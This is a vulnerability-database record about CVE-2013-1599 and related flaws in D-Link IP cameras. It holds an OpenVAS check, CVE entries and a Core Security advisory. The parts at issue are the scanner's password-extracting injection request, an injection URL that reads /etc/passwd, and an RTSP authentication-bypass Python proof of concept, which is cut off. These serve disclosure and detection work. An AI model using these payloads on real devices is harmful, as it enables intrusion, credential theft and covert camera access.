{"id": "OPENVAS:1361412562310105104", "vendorId": null, "type": "openvas", "bulletinFamily": "scanner", "title": "Multiple D-Link Products Command Injection Vulnerability", "description": "Multiple D-Link products are prone to a command-injection\nvulnerability.", "published": "2014-11-04T00:00:00", "modified": "2020-05-08T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {}, "cvss3": {}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310105104", "reporter": "Copyright (C) 2014 Greenbone Networks GmbH", "references": ["http://www.securityfocus.com/bid/59564", "http://www.dlink.com/"], "cvelist": ["CVE-2013-1599"], "immutableFields": [], "lastseen": "2020-05-12T17:26:10", "viewCount": 417, "enchantments": {"dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2015-0313"]}, {"type": "coresecurity", "idList": ["CORE-2013-0303"]}, {"type": "cve", "idList": ["CVE-2013-1599"]}, {"type": "exploitdb", "idList": ["EDB-ID:25138"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:D46F499EA884CDAEABDA6A4D09A850F9"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:121452"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:29306", "SECURITYVULNS:VULN:13049"]}, {"type": "seebug", "idList": ["SSV:78805"]}, {"type": "zdt", "idList": ["1337DAY-ID-20711"]}]}, "score": {"value": 0.6, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2013-1599"]}, {"type": "exploitdb", "idList": ["EDB-ID:25138"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:D46F499EA884CDAEABDA6A4D09A850F9"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:29306"]}, {"type": "zdt", "idList": ["1337DAY-ID-20711"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2013-1599", "epss": "0.946310000", "percentile": "0.987260000", "modified": "2023-03-15"}], "vulnersScore": 0.6}, "_state": {"dependencies": 1678909994, "score": 1683821708, "epss": 1678924918}, "_internal": {"score_hash": "6f1152b5f466621e5d0d4c3ee24fda2f"}, "pluginID": "1361412562310105104", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Multiple D-Link Products Command Injection Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2014 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.105104\");\n script_bugtraq_id(59564);\n script_cve_id(\"CVE-2013-1599\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_version(\"2020-05-08T08:34:44+0000\");\n\n script_name(\"Multiple D-Link Products Command Injection Vulnerability\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/59564\");\n script_xref(name:\"URL\", value:\"http://www.dlink.com/\");\n\n script_tag(name:\"impact\", value:\"Exploiting this issue could allow an attacker to execute arbitrary\ncommands in the context of the affected device.\");\n\n script_tag(name:\"vuldetect\", value:\"Send a HTTP GET request and check the response.\");\n\n script_tag(name:\"solution\", value:\"Ask the Vendor for an update.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"summary\", value:\"Multiple D-Link products are prone to a command-injection\nvulnerability.\");\n\n script_tag(name:\"last_modification\", value:\"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2014-11-04 13:38:34 +0100 (Tue, 04 Nov 2014)\");\n script_category(ACT_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_dependencies(\"gb_get_http_banner.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"dcs-lig-httpd/banner\");\n\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nport = http_get_port( default:8080 );\n\nbanner = http_get_remote_headers( port:port );\nif( ! banner || \"Server: dcs-lig-httpd\" >!< banner ) exit( 0 );\n\nurl = '/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount';\n\nif( buf = http_vuln_check( port:port, url:url, pattern:\"AdminPasswd_ss=\" ) )\n{\n password = eregmatch( pattern:'AdminPasswd_ss=\"([^\"]+)\"', string:buf );\n if( ! isnull( password[ 1 ] ) )\n {\n report = 'By requesting the URL \"' + url + '\" it was possible to retrieve the Admin password \"' + password[ 1 ] + '\"\\n';\n }\n security_message( port:port, data:report );\n exit(0);\n\n}\n\nexit( 99 );\n\n", "naslFamily": "Web application abuses"}
{"cve": [{"lastseen": "2023-10-01T01:08:02", "description": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-28T20:15:00", "type": "cve", "title": "CVE-2013-1599", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1599"], "modified": "2021-04-27T19:52:00", "cpe": ["cpe:/o:dlink:dcs-1100_firmware:1.04", "cpe:/o:dlink:dcs-7510_firmware:1.00", "cpe:/o:dlink:dcs-1130_firmware:1.04", "cpe:/o:dlink:dcs-5605_firmware:1.01", "cpe:/o:dlink:dcs-5230l_firmware:1.02", "cpe:/o:dlink:dcs-1100_firmware:1.03", "cpe:/o:dlink:dcs-5230_firmware:1.02", "cpe:/o:dlink:dcs-1130l_firmware:1.04", "cpe:/o:dlink:dcs-6410_firmware:1.00", "cpe:/o:dlink:dcs-3430_firmware:1.02", "cpe:/o:dlink:dcs-7410_firmware:1.00", "cpe:/o:dlink:dcs-2121_firmware:1.05", "cpe:/o:dlink:dcs-1130_firmware:1.03", "cpe:/o:dlink:dcs-3411_firmware:1.02", "cpe:/o:dlink:dcs-1100l_firmware:1.04", "cpe:/o:dlink:dcs-3410_firmware:1.02", "cpe:/o:dlink:dcs-2102_firmware:1.05", "cpe:/o:dlink:wcs-1100_firmware:1.00", "cpe:/o:dlink:dcs-5635_firmware:1.01"], "id": "CVE-2013-1599", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-1599", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*", "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*"]}], "checkpoint_advisories": [{"lastseen": "2021-12-17T19:52:49", "description": "A code execution vulnerability has been reported in multiple D-Link and TRENDnet IP cameras. The vulnerability is due to a flaw in /var/www/cgi-bin/rtpd.cgi where inputs are not properly sanitized in the query string before being executed. A remote attacker can execute arbitrary commands with a specially crafted request.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2015-03-26T00:00:00", "type": "checkpoint_advisories", "title": "Dlink IP Camera Authenticated Arbitrary Command Execution - Ver2 (CVE-2013-1599)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1599"], "modified": "2015-10-18T00:00:00", "id": "CPAI-2015-0313", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2017-12-31T21:08:14", "description": "Core Security Technologies Advisory - D-Link IP Cameras suffer from OS command injection, authentication, information leak, and hard-coded credential vulnerabilities.", "cvss3": {}, "published": "2013-04-30T00:00:00", "type": "zdt", "title": "D-Link IP Cameras Injection / Bypass Vulnerabilities", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2013-1603", "CVE-2013-1602", "CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601"], "modified": "2013-04-30T00:00:00", "id": "1337DAY-ID-20711", "href": "https://0day.today/exploit/description/20711", "sourceData": "D-Link IP Cameras Multiple Vulnerabilities\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: D-Link IP Cameras Multiple Vulnerabilities\r\nAdvisory ID: CORE-2013-0303\r\nAdvisory URL:\r\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\r\nDate published: 2013-04-29\r\nDate of last update: 2013-03-29\r\nVendors contacted: D-Link Corporation\r\nRelease mode: Coordinated release\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\r\nInformation leak through GET request [CWE-598], Authentication issues\r\n[CWE-287], Use of hard-coded credentials [CWE-798]\r\nImpact: Code execution, Security bypass\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\r\nCVE-2013-1603\r\n\r\n3. *Vulnerability Description*\r\n\r\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\r\ncould allow an unauthenticated remote attacker:\r\n\r\n 1. [CVE-2013-1599] to execute arbitrary commands from the\r\nadministration web interface,\r\n 2. [CVE-2013-1600] to access the video stream via HTTP,\r\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\r\n 4. [CVE-2013-1602] to access the video stream via RTSP,\r\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\r\ncredentials.\r\n\r\n4. *Vulnerable Packages*\r\n\r\nThe following is the list of affected devices and the associated\r\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\r\nbut they were not checked.\r\n\r\n[CVE-2013-1599]\r\n . DCS-3411/3430 - firmware v1.02\r\n . DCS-5605/5635 - v1.01\r\n . DCS-1100L/1130L - v1.04\r\n . DCS-1100/1130 - v1.03\r\n . DCS-1100/1130 - v1.04_US\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-3410 - v1.02\r\n . DCS-5230 - v1.02\r\n . DCS-5230L - v1.02\r\n . DCS-6410 - v1.00\r\n . DCS-7410 - v1.00\r\n . DCS-7510 - v1.00\r\n . WCS-1100 - v1.02\r\n\r\n[CVE-2013-1600]\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-2102/2121 - v1.06\r\n . DCS-2102/2121 - v1.06_FR\r\n . TESCO DCS-2102/2121 - v1.05_TESCO\r\n\r\n[CVE-2013-1601] and [CVE-2013-1603]\r\n . DCS-3411/3430 - v1.02\r\n . DCS-5605/5635 - v1.01\r\n . DCS-1100L/1130L - v1.04\r\n . DCS-1100/1130 - v1.03\r\n . DCS-1100/1130 - v1.04_US\r\n . DCS-2102/2121 - v1.05_RU\r\n . DCS-2102/2121 - v1.06\r\n . DCS-2102/2121 - v1.06_FR\r\n . TESCO DCS-2102/2121 - v1.05_TESCO\r\n . DCS-3410 - v1.02\r\n . DCS-5230 - v1.02\r\n . DCS-5230L - v1.02\r\n . DCS-6410 - v1.00\r\n . DCS-7410 - v1.00\r\n . DCS-7510 - v1.00\r\n . WCS-1100 - v1.02\r\n\r\n[CVE-2013-1602]\r\n . ALL mentioned devices and firmware.\r\n\r\n5. *Vendor Information, Solutions and Workarounds*\r\n\r\nD-Link announces that all patches are ready and scheduled for posting on\r\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\r\nfurther information.\r\n\r\n6. *Credits*\r\n\r\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\r\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\r\nTeam.\r\n\r\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\r\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\r\nCotta from Core QA Team.\r\n\r\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\r\nCore Security Consulting Services.\r\n\r\nThe publication of this advisory was coordinated by Fernando Miranda\r\nfrom Core Advisories Team.\r\n\r\n7. *Technical Description / Proof of Concept Code*\r\n\r\n7.1. *OS Command Injection*\r\n\r\n[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'\r\nallows an unauthenticated remote attacker to execute arbitrary commands\r\nthrough the camera's web interface. The OS command injection is due to\r\nthis code in 'rtpd.cgi':\r\n\r\n/-----\r\necho \"$QUERY_STRING\" | grep -vq ' ' || die \"query string cannot contain\r\nspaces.\"\r\n. $conf > /dev/null 2> /dev/null\r\neval \"$(echo $QUERY_STRING | sed -e 's/&/ /g')\"\r\n\r\n-----/\r\n The first line of this snippet basically ensures that there are no\r\nspaces in '$QUERY_STRING'. The last line uses 'sed' to replace\r\nampersands '&' with spaces, and then call to the function 'eval()',\r\nresulting in a typical command injection. For example, in order to execute:\r\n\r\n/-----\r\nuname -a;cat /etc/passwd\r\n-----/\r\n the following request can be sent to the camera web interface:\r\n\r\n/-----\r\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd\r\n-----/\r\n\r\n\r\n7.2. *Authentication Bypass*\r\n\r\n[CVE-2013-1600] The live video stream can be accessed without\r\nauthentication by a remote attacker via the following request:\r\n\r\n/-----\r\nhttp://192.168.1.100/upnp/asf-mp4.asf\r\n-----/\r\n\r\n7.3. *ASCII Video Stream Information Leak*\r\n\r\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\r\nstream can be accessed by a remote unauthenticated attacker via:\r\n\r\n/-----\r\nhttp://192.168.1.100/md/lums.cgi\r\n-----/\r\n The following example is the output of a coffee pot video stream [2]:\r\n\r\n/-----\r\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\r\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\r\nO O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o\r\nO O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o\r\nO O O O O O O O O O O O o o o o . . . . . . o o o o o o o\r\nO O O O O O O O O O o . o O O o . o o o o o o\r\nO O O O O O O O O . . o o o o o o\r\nO O O O O O O O . . o o o o o o o o\r\nO O O O O O O . . o O O o . . o o o o o o o o o\r\nO O O O O O o . O O O O O O . o o o o o o o o o\r\nO O O O O O . O O O O O O O . . . . . o o o o o o o o o\r\nO O O O O O o O O O O O O O . . . o . . . o o o o o o o o\r\nO O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o\r\nO O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o\r\nO O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o\r\nO O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o\r\nO O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o\r\nO O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o\r\nO O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o\r\nO O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o\r\nO O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o\r\nO O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o\r\nO O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o\r\nO O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o\r\nO O O O O O O O O O . . . o o o . o . . o O o . . . . . .\r\no O O O O O O O O O . . o o o . o . . . O o . . . \r\no o O O O O O O O O o . o o o . o . . . O o . . \r\no o o O O O O O O O o . o o o . o . . . O o . \r\n\r\n-----/\r\n\r\n7.4. *RTSP Authentication Bypass*\r\n\r\n[CVE-2013-1602] This vulnerability is triggered because:\r\n\r\n 1. Authentication is only present in DESCRIBE requests but not in\r\nevery subsequent request.\r\n 2. When the RTSP session is being established, the authentication\r\nrequest of current session is ignored (a previously stored response is\r\nused instead).\r\nAs a result, the video stream can be accessed by an unauthenticated\r\nremote attacker.\r\n\r\n/-----\r\nimport sys\r\nfrom socket import *\r\nfrom threading import Thread\r\nimport time, re\r\n\r\nLOGGING = 1\r\n\r\ndef log(s):\r\n if LOGGING:\r\n print '(%s) %s' % (time.ctime(), s)\r\n\r\n\r\nclass UDPRequestHandler(Thread):\r\n def __init__(self, data_to_send, recv_addr, dst_addr):\r\n Thread.__init__(self)\r\n self.data_to_send = data_to_send\r\n self.recv_addr = recv_addr\r\n self.dst_addr = dst_addr\r\n \r\n def run(self):\r\n sender = socket(AF_INET, SOCK_DGRAM)\r\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n sender.sendto(self.data_to_send, self.dst_addr)\r\n response = sender.recv(1024)\r\n sender.sendto(response, self.recv_addr)\r\n sender.close()\r\n\r\n\r\nclass UDPDispatcher(Thread):\r\n dispatchers = []\r\n \r\n def __has_dispatcher_for(self, port):\r\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\r\n \r\n def __init__(self, src_port, dst_addr):\r\n Thread.__init__(self)\r\n if self.__has_dispatcher_for(src_port):\r\n raise Exception('There is already a dispatcher for port %d'\r\n% src_port)\r\n self.src_port = src_port\r\n self.dst_addr = dst_addr\r\n UDPDispatcher.dispatchers.append(self)\r\n \r\n def run(self):\r\n listener = socket(AF_INET, SOCK_DGRAM)\r\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n listener.bind(('', self.src_port))\r\n while 1:\r\n try:\r\n data, recv_addr = listener.recvfrom(1024)\r\n if not data: break\r\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\r\n except Exception as e:\r\n print e\r\n break \r\n listener.close()\r\n UDPDispatcher.dispatchers.remove( self )\r\n\r\n\r\nclass PipeThread(Thread):\r\n pipes = []\r\n def __init__(self, source, sink, process_data_callback=lambda x: x):\r\n Thread.__init__(self)\r\n self.source = source\r\n self.sink = sink\r\n self.process_data_callback = process_data_callback\r\n PipeThread.pipes.append(self)\r\n\r\n def run(self):\r\n while 1:\r\n try:\r\n data = self.source.recv(1024)\r\n data = self.process_data_callback(data)\r\n if not data: break\r\n self.sink.send( data )\r\n except Exception as e:\r\n log(e)\r\n break\r\n PipeThread.pipes.remove(self)\r\n\r\n\r\nclass TCPTunnel(Thread):\r\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\r\nx: x):\r\n Thread.__init__(self)\r\n log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,\r\ndst_addr[0], dst_addr[1]))\r\n self.dst_addr = dst_addr\r\n self.process_data_callback = process_data_callback\r\n # Create TCP listener socket\r\n self.sock = socket(AF_INET, SOCK_STREAM)\r\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n self.sock.bind(('', src_port))\r\n self.sock.listen(5)\r\n \r\n def run(self):\r\n while 1:\r\n # Wait until a new connection arises\r\n newsock, address = self.sock.accept()\r\n # Create forwarder socket\r\n fwd = socket(AF_INET, SOCK_STREAM)\r\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n fwd.connect(self.dst_addr)\r\n # Pipe them!\r\n PipeThread(newsock, fwd, self.process_data_callback).start()\r\n PipeThread(fwd, newsock, self.process_data_callback).start()\r\n\r\n\r\nclass Camera():\r\n def __init__(self, address):\r\n self.address = address\r\n def get_describe_data(self):\r\n return ''\r\n\r\n\r\nclass DLink(Camera):\r\n # D-Link DCS-2102/1.06-5731\r\n def __init__(self, address):\r\n Camera.__init__(self, address)\r\n def get_describe_data(self):\r\n return\r\n'\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a'\r\n\r\n\r\nclass RTSPAuthByPasser():\r\n DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'\r\n UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'\r\n SERVER_PORT_ARGUMENTS = 'server_port='\r\n DEFAULT_CSEQ = 1\r\n DEFAULT_SERVER_PORT_RANGE = '5556-5559'\r\n\r\n def __init__(self, local_port, camera):\r\n self.last_describe_req = ''\r\n self.camera = camera\r\n self.local_port = local_port\r\n \r\n def start(self):\r\n log('[!] Starting bypasser')\r\n TCPTunnel(self.local_port, self.camera.address,\r\nself.spoof_rtsp_conn).start()\r\n \r\n def spoof_rtsp_conn(self, data):\r\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\r\n self.last_describe_req = data\r\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\r\nself.last_describe_req:\r\n log('[!] Unauthorized response received. Spoofing...')\r\n spoofed_describe = self.camera.get_describe_data()\r\n # Look for the request CSeq\r\n m = re.search('.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*',\r\nself.last_describe_req)\r\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\r\n # Create the response\r\n data = 'RTSP/1.0 200 OK\\r\\n'\r\n data+= 'CSeq: %s\\r\\n' % cseq\r\n data+= 'Content-Type: application/sdp\\r\\n'\r\n data+= 'Content-Length: %d\\r\\n' % len(spoofed_describe)\r\n data+= '\\r\\n'\r\n # Attach the spoofed describe\r\n data+= spoofed_describe \r\n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\r\n # Look for the server RTP ports\r\n m = re.search('.*%s\\\\s*(.+?)[;|\\r].*' %\r\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\r\n ports = m.group(1) if m else\r\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\r\n # For each port in the range create a UDP dispatcher\r\n begin_port, end_port = map(int, ports.split('-'))\r\n for udp_port in xrange(begin_port, end_port + 1):\r\n try:\r\n UDPDispatcher(udp_port, (self.camera.address[0],\r\nudp_port)).start()\r\n except:\r\n pass \r\n return 